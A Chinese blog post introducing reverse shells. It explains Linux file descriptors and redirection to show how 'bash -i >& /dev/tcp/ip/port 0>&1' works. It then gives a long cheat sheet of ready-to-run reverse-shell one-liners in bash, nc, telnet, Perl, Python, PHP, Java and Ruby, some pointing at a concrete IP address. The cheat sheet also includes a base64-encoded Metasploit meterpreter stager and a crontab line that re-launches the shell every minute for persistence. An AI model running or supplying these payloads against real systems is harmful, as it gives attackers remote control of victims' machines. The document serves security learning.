初识反弹shell

初识反弹shell

什么是反弹shell?

  反弹shell(reverse shell),就是控制端监听在某TCP/UDP端口,被控端发起请求到该端口,并将其命令行的输入输出转到控制端。reverse shell与telnet,ssh等标准shell对应,本质上是网络概念的客户端与服务端的角色反转。

为什么要反弹shell?

通常用于被控端因防火墙受限、权限不足、端口被占用等情形。

举例:假设我们攻击了一台机器,打开了该机器的一个端口,攻击者在自己的机器去连接目标机器(目标ip:目标机器端口),这是比较常规的形式,我们叫做正向连接。远程桌面、web服务、ssh、telnet等等都是正向连接。那么什么情况下正向连接不能用了呢?

有如下情况:

1.某客户机中了你的网马,但是它在局域网内,你直接连接不了。

2.目标机器的ip动态改变,你不能持续控制。

3.由于防火墙等限制,对方机器只能发送请求,不能接收请求。

4.对于病毒,木马,受害者什么时候能中招,对方的网络环境是什么样的,什么时候开关机等情况都是未知的,所以建立一个服务端让恶意程序主动连接,才是上策。

那么反弹就很好理解了,攻击者指定服务端,受害者主机主动连接攻击者的服务端程序,就叫反弹连接。

先写上最常用的的bash的反弹shell(zsh用不了)

bash -i &> /dev/tcp/ip/port 0>&1

bash -i > /dev/tcp/ip/port 0>&1 2>&1

上面两个是最常用的bash反弹shell,实现的效果是完全一样的。

下面详解原理

要理解上面这个反弹shell的命令,必须要先了解linux的文件描述符重定向

linux文件描述符

可以理解为linux跟踪打开文件,而分配的一个数字,这个数字有点类似c语言操作文件时候的句柄,通过句柄就可以实现文件的读写操作。

当Linux启动的时候会默认打开三个文件描述符,分别是:

标准输入:standard input 0 (默认设备键盘)
标准输出:standard output 1(默认设备显示器)
错误输出:error output 2(默认设备显示器)

Linux系统中文件所有输入输出都是由该进程所有打开的文件描述符控制的。(Linux一切皆文件,就连键盘显示器设备都是文件,因此他们的输入输出也是由文件描述符控制)

重定向

重定向主要分为两种(其他复杂的都是从这两种衍生而来的):

(1)输入重定向 < <<
(2)输出重定向 > >>

重点:

1.bash 在执行一条指令的时候,首先会检查命令中存不存在重定向的符号,如果存在那么首先将文件描述符重定向(之前说过了,输入输出操作都是依赖文件描述符实现的,重定向输入输出本质上就是重定向文件描述符),然后在把重定向去掉,执行指令

2.如果指令中存在多个重定向,那么不要随便改变顺序,因为重定向是从左向右解析的,改变顺序可能会带来完全不同的结果(这一点我们后面会展示)

3.< 默认是对标准输入 0 重定向 ,> 默认是对标准输出 1 重定向

重定向就是针对文件描述符的操作

1.输入重定向

格式: [n]< word (注意[n]与<之间没有空格)

说明:将文件描述符 n 重定向到 word 指代的文件(以只读方式打开),如果n省略就是0(标准输入)

2.输出重定向

格式: [n]> word

说明:将文件描述符 n 重定向到word 指代的文件(以写的方式打开),如果n 省略则默认就是 1(标准输出)

3.标准输出与标准错误输出重定向

格式: &> word >& word

说明:将标准输出与标准错误输出都定向到word代表的文件(以写的方式打开),两种格式意义完全相同,

这种格式完全等价于 1> word 2>&1

4.文件描述符的复制

格式: [n]<&[m] / [n]>&[m] (这里所有字符之间不要有空格)

说明:

1)这里两个都是将文件描述符 n 复制到 m ,两者的区别是,前者是以只读的形式打开,后者是以写的形式打开

因此 0<&1 和 0>&1 是完全等价的(读/写方式打开对其没有任何影响)

2)这里的& 目的是为了区分数字名字的文件和文件描述符,如果没有& 系统会认为是将文件描述符重定向到了一个数字作为文件名的文件,而不是一个文件描述符

重点:

重定向符号的顺序不能随便改换,因为系统是从左到右执行的

解析反弹shell命令

粗略了解文件描述符和重定向之后,就可以分析一下反弹shell的这个命令了

bash -i &> /dev/tcp/攻击机ip/port 0>&1

其中bash -i命令的作用是生成一个交互式shell

/dev/tcp/ip/port是一个不存在的文件夹,但是根据linux“一切皆文件”的核心思想,实际上它是通过tcp请求的方式连接语句中攻击机ip地址上的port 端口

所以,很明显,第一个文件描述符将一个交互式shell的标准输出和标准错误输出重定向到了某个主机的端口,第二个复制符,将标准输入也定位到了这个端口(与标准输入相同)

这是我们在“受害主机”上要做的,而在攻击机上,我们只要使用

nc -lvp port

监听port端口

即可收到受害机的交互式shell的输入输出和报错

这就是反弹shell的基本原理

下面收录一些特殊的反弹shell方式

各种环境下反弹shell的方法

0x01 bash版本:

bash -i >& /dev/tcp/121.4.101.246/6666 0>&1

注意这个是由解析shell的bash完成,所以某些情况下不支持。我用zsh不能反弹。这个也是最常用的。

0x02 nc版本:

支持-e选项

nc -e '/bin/sh' attackip port

这个方式最简单
不能使用-e选项时:

mknod backpipe p && nc attackerip 8080 0<backpipe | /bin/bash 1>backpipe
/bin/sh | nc attackerip 4444
rm -f /tmp/p; mknod /tmp/p p && nc attackerip 4444 0/tmp/

安装的NC版本有问题时:

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc attackerip 1234 >/tmp/f

又发现一种,添加进来

nc -c '/bin/bash' 121.4.101.246 9999

0x03 Telnet版本:(nc不可用或/dev/tcp不可用时)

mknod backpipe p && telnet attackerip 8080 0<backpipe | /bin/bash 1>backpipe

0x04 Perl版本:

perl -e 'use Socket;$i="10.0.0.1";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

不依赖于/bin/sh的shell: ***这条语句比上面的更为简短,而且确实不需要依赖/bin/sh

perl -MIO -e '$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"attackerip:4444");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'

0x05 Python版本:

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

另外的形式:

python -c "exec(\"import socket, subprocess;s = socket.socket();s.connect(('127.0.0.1',9000))\nwhile 1:  proc = subprocess.Popen(s.recv(1024), shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE);s.send(proc.stdout.read()+proc.stderr.read())\")"

另外Metasploit版的代码:

msfvenom -f raw -p python/meterpreter/reverse_tcp LHOST=192.168.90.1 LPORT=1234
import base64; exec(base64.b64decode('aW1wb3J0IHNvY2tldCxzdHJ1Y3QKcz1zb2NrZXQuc29ja2V0KDIsMSkKcy5jb25uZWN0KCgnMTkyLjE2OC45MC4xJywxMjM0KSkKbD1zdHJ1Y3QudW5wYWNrKCc+SScscy5yZWN2KDQpKVswXQpkPXMucmVjdig0MDk2KQp3aGlsZSBsZW4oZCkhPWw6CglkKz1zLnJlY3YoNDA5NikKZXhlYyhkLHsncyc6c30pCg=='))

0x06 php版本:

php -r '$sock=fsockopen("10.0.0.1",1234);exec("/bin/sh -i <&3 >&3 2>&3");'

0x07 java版本:

r = Runtime.getRuntime()
p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/10.0.0.1/2002;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[])
p.waitFor()

0x08 ruby版本:

ruby -rsocket -e'f=TCPSocket.open("10.0.0.1",1234).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'

不依赖于/bin/sh的shell:

ruby -rsocket -e 'exit if fork;c=TCPSocket.new("attackerip","4444");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'

如果目标系统运行Windows:

ruby -rsocket -e 'c=TCPSocket.new("attackerip","4444");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'

0x09 crontab定时任务:

这也是在redis未授权访问的时候使用过的。
crontab -e编辑当前用户的任务,或者是写到计划任务目录,一般是/var/spool/cron/目录,ubuntu是/var/spool/cron/crontabs。文件名为用户名root等。下面命令含义是每一分钟执行一次反弹shell命令。具体crontab用法可以参考Crontab定时任务配置

 /bin/bash -i >& /dev/tcp/attackerip/1234 0>&1

最后其实发现,虽然形式不同,但是其实都是基于/bin/bash和/bin/sh


  转载请注明: Liloong3t's Blog 初识反弹shell

 上一篇
ssrf入门,初识gopher协议 ssrf入门,初识gopher协议
看了好几天ssrf,发现我踏马基础太差看不懂文档,复现也复现不出来,真是绝了。还是直接去刷几个题好了。Gopher协议的基本内容在这里记录一下。
2021-02-10
下一篇 
初步了解XML 初步了解XML
经常看到XML文件,之前却没来得及认真去了解一下,就处于一个半懂不懂的状态,现在补上这方面知识
2021-02-04
  目录